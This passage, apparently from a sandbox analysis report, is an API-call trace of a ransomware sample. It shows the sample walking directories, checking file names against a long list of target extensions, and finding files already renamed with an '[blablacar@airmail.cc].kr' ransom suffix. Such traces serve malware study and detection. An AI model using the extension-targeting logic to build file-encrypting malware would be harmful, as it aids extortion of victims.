lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".oqy") returned 4 [0085.150] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".orf") returned 4 [0085.150] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".p12") returned 4 [0085.150] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".p7b") returned 4 [0085.150] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".p7c") returned 4 [0085.150] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pam") returned 4 [0085.150] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pbm") returned 4 [0085.150] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pct") returned 4 [0085.150] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pcx") returned 4 [0085.150] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pdd") returned 4 [0085.150] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pdf") returned 4 [0085.150] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pdp") returned 4 [0085.150] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pef") returned 4 [0085.150] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pem") returned 4 [0085.150] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pff") returned 4 [0085.150] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pfm") returned 4 [0085.150] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0085.150] lstrlenW (lpString=".pfx") returned 4 [0085.151] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0085.151] lstrlenW (lpString=".pgm") returned 4 [0085.151] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0085.151] lstrlenW (lpString=".php") returned 4 [0085.151] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0085.151] lstrlenW (lpString=".php3") returned 5 [0085.151] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0085.151] lstrlenW (lpString=".php4") returned 5 [0085.151] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0085.151] lstrlenW (lpString=".php5") returned 5 [0085.151] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0085.151] lstrlenW (lpString=".phtml") returned 6 [0085.151] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0085.151] lstrlenW (lpString=".pict") returned 5 [0085.151] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0085.151] lstrlenW (lpString=".pl") returned 3 [0085.151] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0085.151] lstrlenW (lpString=".pls") returned 4 [0085.151] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0085.151] lstrlenW (lpString=".pm") returned 3 [0085.151] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0085.151] lstrlenW (lpString=".png") returned 4 [0085.151] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0085.151] lstrlenW (lpString=".pnm") returned 4 [0085.151] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0085.151] lstrlenW (lpString=".pot") returned 4 [0085.151] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0085.151] lstrlenW (lpString=".potm") returned 5 [0085.151] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0085.151] lstrlenW (lpString=".potx") returned 5 [0085.151] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0085.151] lstrlenW (lpString=".ppa") returned 4 [0085.152] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".ppam") returned 5 [0085.152] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0085.152] lstrlenW (lpString=".ppm") returned 4 [0085.152] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".pps") returned 4 [0085.152] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".ppsm") returned 5 [0085.152] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0085.152] lstrlenW (lpString=".ppt") returned 4 [0085.152] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".pptm") returned 5 [0085.152] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0085.152] lstrlenW (lpString=".pptx") returned 5 [0085.152] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0085.152] lstrlenW (lpString=".prn") returned 4 [0085.152] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".ps") returned 3 [0085.152] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0085.152] lstrlenW (lpString=".psb") returned 4 [0085.152] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".psd") returned 4 [0085.152] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".pst") returned 4 [0085.152] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".ptx") returned 4 [0085.152] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".pub") returned 4 [0085.152] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".pwm") returned 4 [0085.152] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0085.152] lstrlenW (lpString=".pxr") returned 4 [0085.153] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0085.153] lstrlenW (lpString=".py") returned 3 [0085.153] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0085.153] lstrlenW (lpString=".qt") returned 3 [0085.153] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0085.153] lstrlenW (lpString=".r3d") returned 4 [0085.153] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0085.153] lstrlenW (lpString=".raf") returned 4 [0085.153] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0085.153] lstrlenW (lpString=".rar") returned 4 [0085.153] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0085.153] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57e4d6d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57e4d6d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57e4d6d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0085.153] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0085.153] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0085.153] FindClose (in: hFindFile=0x4260790 | out: hFindFile=0x4260790) returned 1 [0085.154] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0085.154] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0085.154] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0085.154] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26 [0085.154] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc5b2c29f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0085.154] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc5b2c29f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.154] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57b73e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57b73e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57be8b1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0085.155] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0085.155] lstrlenW (lpString=".1cd") returned 4 [0085.155] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0085.155] lstrlenW (lpString=".3ds") returned 4 [0085.155] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0085.155] lstrlenW (lpString=".3fr") returned 4 [0085.155] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0085.155] lstrlenW (lpString=".3g2") returned 4 [0085.155] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0085.155] lstrlenW (lpString=".3gp") returned 4 [0085.155] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0085.155] lstrlenW (lpString=".7z") returned 3 [0085.155] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0085.155] lstrlenW (lpString=".accda") returned 6 [0085.155] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0085.155] lstrlenW (lpString=".accdb") returned 6 [0085.155] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0085.155] lstrlenW (lpString=".accdc") returned 6 [0085.155] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0085.155] lstrlenW (lpString=".accde") returned 6 [0085.155] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0085.155] lstrlenW (lpString=".accdt") returned 6 [0085.155] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0085.155] lstrlenW (lpString=".accdw") returned 6 [0085.155] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0085.155] lstrlenW (lpString=".adb") returned 4 [0085.155] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0085.155] lstrlenW (lpString=".adp") returned 4 [0085.155] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0085.155] lstrlenW (lpString=".ai") returned 3 [0085.155] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0085.156] lstrlenW (lpString=".ai3") returned 4 [0085.156] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".ai4") returned 4 [0085.156] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".ai5") returned 4 [0085.156] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".ai6") returned 4 [0085.156] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".ai7") returned 4 [0085.156] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".ai8") returned 4 [0085.156] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".anim") returned 5 [0085.156] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0085.156] lstrlenW (lpString=".arw") returned 4 [0085.156] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".as") returned 3 [0085.156] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0085.156] lstrlenW (lpString=".asa") returned 4 [0085.156] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".asc") returned 4 [0085.156] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".ascx") returned 5 [0085.156] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0085.156] lstrlenW (lpString=".asm") returned 4 [0085.156] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".asmx") returned 5 [0085.156] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0085.156] lstrlenW (lpString=".asp") returned 4 [0085.156] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0085.156] lstrlenW (lpString=".aspx") returned 5 [0085.156] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0085.157] lstrlenW (lpString=".asr") returned 4 [0085.157] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".asx") returned 4 [0085.157] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".avi") returned 4 [0085.157] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".avs") returned 4 [0085.157] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".backup") returned 7 [0085.157] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0085.157] lstrlenW (lpString=".bak") returned 4 [0085.157] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".bay") returned 4 [0085.157] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".bd") returned 3 [0085.157] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0085.157] lstrlenW (lpString=".bin") returned 4 [0085.157] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".bmp") returned 4 [0085.157] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".bz2") returned 4 [0085.157] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".c") returned 2 [0085.157] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0085.157] lstrlenW (lpString=".cdr") returned 4 [0085.157] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".cer") returned 4 [0085.157] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".cf") returned 3 [0085.157] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0085.157] lstrlenW (lpString=".cfc") returned 4 [0085.157] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0085.157] lstrlenW (lpString=".cfm") returned 4 [0085.158] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".cfml") returned 5 [0085.158] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0085.158] lstrlenW (lpString=".cfu") returned 4 [0085.158] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".chm") returned 4 [0085.158] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".cin") returned 4 [0085.158] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".class") returned 6 [0085.158] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0085.158] lstrlenW (lpString=".clx") returned 4 [0085.158] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".config") returned 7 [0085.158] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0085.158] lstrlenW (lpString=".cpp") returned 4 [0085.158] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".cr2") returned 4 [0085.158] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".crt") returned 4 [0085.158] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".crw") returned 4 [0085.158] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".cs") returned 3 [0085.158] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0085.158] lstrlenW (lpString=".css") returned 4 [0085.158] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".csv") returned 4 [0085.158] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".cub") returned 4 [0085.158] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0085.158] lstrlenW (lpString=".dae") returned 4 [0085.159] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".dat") returned 4 [0085.159] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".db") returned 3 [0085.159] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0085.159] lstrlenW (lpString=".dbf") returned 4 [0085.159] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".dbx") returned 4 [0085.159] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".dc3") returned 4 [0085.159] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".dcm") returned 4 [0085.159] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".dcr") returned 4 [0085.159] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".der") returned 4 [0085.159] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".dib") returned 4 [0085.159] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".dic") returned 4 [0085.159] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".dif") returned 4 [0085.159] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".divx") returned 5 [0085.159] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0085.159] lstrlenW (lpString=".djvu") returned 5 [0085.159] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0085.159] lstrlenW (lpString=".dng") returned 4 [0085.159] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".doc") returned 4 [0085.159] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0085.159] lstrlenW (lpString=".docm") returned 5 [0085.160] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0085.160] lstrlenW (lpString=".docx") returned 5 [0085.160] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0085.160] lstrlenW (lpString=".dot") returned 4 [0085.160] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0085.160] lstrlenW (lpString=".dotm") returned 5 [0085.160] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0085.160] lstrlenW (lpString=".dotx") returned 5 [0085.160] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0085.160] lstrlenW (lpString=".dpx") returned 4 [0085.160] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0085.160] lstrlenW (lpString=".dqy") returned 4 [0085.160] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0085.160] lstrlenW (lpString=".dsn") returned 4 [0085.160] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0085.160] lstrlenW (lpString=".dt") returned 3 [0085.160] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0085.160] lstrlenW (lpString=".dtd") returned 4 [0085.160] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0085.160] lstrlenW (lpString=".dwg") returned 4 [0085.160] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0085.160] lstrlenW (lpString=".dwt") returned 4 [0085.160] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0085.160] lstrlenW (lpString=".dx") returned 3 [0085.161] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0085.161] lstrlenW (lpString=".dxf") returned 4 [0085.161] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".edml") returned 5 [0085.161] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0085.161] lstrlenW (lpString=".efd") returned 4 [0085.161] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".elf") returned 4 [0085.161] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".emf") returned 4 [0085.161] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".emz") returned 4 [0085.161] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".epf") returned 4 [0085.161] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".eps") returned 4 [0085.161] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".epsf") returned 5 [0085.161] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0085.161] lstrlenW (lpString=".epsp") returned 5 [0085.161] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0085.161] lstrlenW (lpString=".erf") returned 4 [0085.161] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".exr") returned 4 [0085.161] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".f4v") returned 4 [0085.161] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".fido") returned 5 [0085.161] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0085.161] lstrlenW (lpString=".flm") returned 4 [0085.161] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0085.161] lstrlenW (lpString=".flv") returned 4 [0085.162] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".frm") returned 4 [0085.162] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".fxg") returned 4 [0085.162] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".geo") returned 4 [0085.162] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".gif") returned 4 [0085.162] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".grs") returned 4 [0085.162] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".gz") returned 3 [0085.162] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0085.162] lstrlenW (lpString=".h") returned 2 [0085.162] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0085.162] lstrlenW (lpString=".hdr") returned 4 [0085.162] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".hpp") returned 4 [0085.162] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".hta") returned 4 [0085.162] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".htc") returned 4 [0085.162] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".htm") returned 4 [0085.162] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".html") returned 5 [0085.162] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0085.162] lstrlenW (lpString=".icb") returned 4 [0085.162] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".ics") returned 4 [0085.162] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0085.162] lstrlenW (lpString=".iff") returned 4 [0085.162] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".inc") returned 4 [0085.163] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".indd") returned 5 [0085.163] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0085.163] lstrlenW (lpString=".ini") returned 4 [0085.163] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".iqy") returned 4 [0085.163] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".j2c") returned 4 [0085.163] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".j2k") returned 4 [0085.163] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".java") returned 5 [0085.163] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0085.163] lstrlenW (lpString=".jp2") returned 4 [0085.163] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".jpc") returned 4 [0085.163] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".jpe") returned 4 [0085.163] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".jpeg") returned 5 [0085.163] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0085.163] lstrlenW (lpString=".jpf") returned 4 [0085.163] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0085.163] lstrlenW (lpString=".jpg") returned 4 [0085.163] lstrcmpiW 